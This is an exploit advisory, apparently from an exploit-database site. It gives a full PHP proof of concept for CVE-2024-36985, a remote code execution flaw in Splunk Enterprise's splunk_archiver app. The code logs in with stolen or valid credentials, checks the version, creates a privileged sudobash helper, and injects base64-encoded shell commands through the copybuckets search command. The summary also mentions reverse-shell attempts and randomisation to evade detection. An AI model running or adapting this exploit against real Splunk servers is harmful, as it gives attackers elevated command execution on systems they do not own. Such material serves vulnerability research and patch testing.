============================================================================================================================================= | # Title : Splunk Enterprise 9.1.5 9.2.2 via splunk_archiver Authenticated Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.splunk.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/214134/ & CVE-2024-36985 [+] Summary : This PHP script is a proof-of-concept exploit for CVE-2024-36985, an authenticated Remote Code Execution (RCE) vulnerability affecting Splunk instances where the splunk_archiver app is installed and enabled. It is a conversion of a Metasploit module into PHP. [+] High-level behavior: Authenticates to a Splunk web interface using valid credentials. Determines the running Splunk version and checks whether it falls within known vulnerable ranges. Enumerates installed Splunk apps and verifies that splunk_archiver is present and enabled. [+] Uses Splunk search commands (archivebuckets and copybuckets) to: Trigger the creation of a privileged helper binary (sudobash). Abuse JSON-based parameters to inject environment variables and execute arbitrary system commands. [+] Supports: Arbitrary command execution Multiple reverse shell payload attempts Randomization is used in environment variable names and providers to evade simple detection. [+] Key components: splunkLogin() – Handles CSRF token extraction and authenticated login. checkVersion() – Identifies the Splunk version via API or UI parsing. getApps() – Enumerates installed and enabled Splunk applications. check() – Verifies vulnerability conditions (version + app presence). exploit() – Coordinates the full exploitation flow. executeCommand() – Executes a single system command. getReverseShell() – Attempts several reverse shell payloads. [+] Impact: An authenticated attacker can achieve remote code execution with elevated privileges on vulnerable Splunk servers. [+] POC: php poc.php target = rtrim($config['target'] ?? 'http://localhost:8000', '/'); $this->username = $config['username'] ?? 'admin'; $this->password = $config['password'] ?? ''; $this->splunkHome = rtrim($config['splunk_home'] ?? '/opt/splunk/', '/'); $this->createSudobash = $config['create_sudobash'] ?? true; $this->delay = (int)($config['delay'] ?? 3); $this->cookie = null; } private function httpRequest($url, $method = 'GET', $data = null, $headers = []) { $ch = curl_init(); $opts = [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_TIMEOUT => 30, ]; if ($method === 'POST') { $opts[CURLOPT_POST] = true; if ($data !== null) { $opts[CURLOPT_POSTFIELDS] = $data; } } if (!empty($headers)) { $opts[CURLOPT_HTTPHEADER] = $headers; } if ($this->cookie) { $opts[CURLOPT_COOKIE] = $this->cookie; } curl_setopt_array($ch, $opts); $response = curl_exec($ch); if ($response === false) { throw new Exception('CURL error: ' . curl_error($ch)); } $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $rawHeaders = substr($response, 0, $headerSize); $body = substr($response, $headerSize); curl_close($ch); return [ 'code' => $httpCode, 'headers' => $rawHeaders, 'body' => $body ]; } public function splunkLogin() { $loginUrl = $this->target . '/en-US/account/login'; $res = $this->httpRequest($loginUrl); preg_match('/name="csrf_token"\s+value="([^"]+)"/i', $res['body'], $m); $csrf = $m[1] ?? null; if (!$csrf) { return null; } $post = http_build_query([ 'username' => $this->username, 'password' => $this->password, 'csrf_token' => $csrf, 'return_to' => '/en-US/' ]); $headers = [ 'Content-Type: application/x-www-form-urlencoded', 'Referer: ' . $loginUrl ]; $res = $this->httpRequest($loginUrl, 'POST', $post, $headers); preg_match_all('/^Set-Cookie:\s*([^;\r\n]+)/mi', $res['headers'], $m); if (!empty($m[1])) { $this->cookie = implode('; ', $m[1]); return $this->cookie; } return null; } public function checkVersion() { $url = $this->target . '/en-US/splunkd/__raw/services/server/info'; $res = $this->httpRequest($url, 'GET', null, ['Accept: application/json']); if ($res['code'] === 200) { $j = json_decode($res['body'], true); return $j['entry'][0]['content']['version'] ?? null; } $res = $this->httpRequest($this->target . '/en-US/app/launcher/home'); preg_match('/Splunk®\s+(\d+\.\d+\.\d+)/', $res['body'], $m); return $m[1] ?? null; } public function getApps() { $url = $this->target . '/en-US/splunkd/__raw/services/apps/local'; $res = $this->httpRequest($url, 'GET', null, ['Accept: application/json']); $apps = []; if ($res['code'] === 200) { $j = json_decode($res['body'], true); foreach ($j['entry'] ?? [] as $e) { $apps[$e['name']] = [ 'enabled' => !$e['content']['disabled'] ]; } } return $apps; } private function normalizePath($p) { return preg_replace('#/+#', '/', $p); } private function randomString($min = 8, $max = 16, $upper = false) { $len = rand($min, $max); $chars = $upper ? 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' : 'abcdefghijklmnopqrstuvwxyz0123456789'; $s = ''; for ($i = 0; $i < $len; $i++) { $s .= $chars[rand(0, strlen($chars) - 1)]; } return $s; } private function getJsonPayload($payload) { $env = $this->randomString(8, 16, true); $prov = $this->randomString(); $data = [ 'vixes' => (object)[], 'providers' => [ $prov => [ 'command.arg.1' => $this->normalizePath( $this->splunkHome . '/etc/apps/splunk_archiver/java-bin/jars/sudobash' ), 'command.arg.2' => "-c \${$env}", "env.$env" => $payload ] ] ]; return json_encode(json_encode($data)); } private function executeSearch($app, $query) { $url = $this->target . '/en-US/app/' . urlencode($app) . '/search'; $post = http_build_query([ 'search' => $query, 'earliest_time' => '-1h', 'latest_time' => 'now' ]); return $this->httpRequest( $url, 'POST', $post, [ 'Content-Type: application/x-www-form-urlencoded', 'Referer: ' . $url ] ); } private function getRandomApp() { $apps = $this->getApps(); $list = []; foreach ($apps as $n => $i) { if ($i['enabled']) { $list[] = $n; } } if (!$list) { throw new Exception('No enabled apps'); } return $list[array_rand($list)]; } public function createSudobash() { echo "[*] Triggering sudobash creation...\n"; $this->executeSearch($this->targetApp, '| archivebuckets forcerun=1'); echo "[+] Trigger sent (async)\n"; } public function triggerExploit($payload) { $json = $this->getJsonPayload($payload); $query = "| copybuckets json={$json}"; $res = $this->executeSearch($this->targetApp, $query); return ($res['code'] === 200); } public function check() { if (!$this->splunkLogin()) { return false; } $v = $this->checkVersion(); if (!$v) return false; [$M,$m,$p] = array_map('intval', explode('.', $v)); if ($M !== 9) return false; if ($m === 0 && $p < 10) return true; if ($m === 1 && $p >= 2 && $p <= 5) return true; if ($m === 2 && $p <= 2) return true; return false; } public function exploit($payload) { if (!$this->check()) return false; $this->targetApp = $this->getRandomApp(); if ($this->createSudobash) { $this->createSudobash(); } return $this->triggerExploit($payload); } public function executeCommand($cmd) { $b64 = base64_encode($cmd); return $this->exploit("echo $b64 | base64 -d | sh"); } } if (php_sapi_name() === 'cli') { $exp = new SplunkRCEExploit([ 'target' => 'http://192.168.1.100:8000', 'username' => 'admin', 'password' => 'password123' ]); // $exp->executeCommand('id'); } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================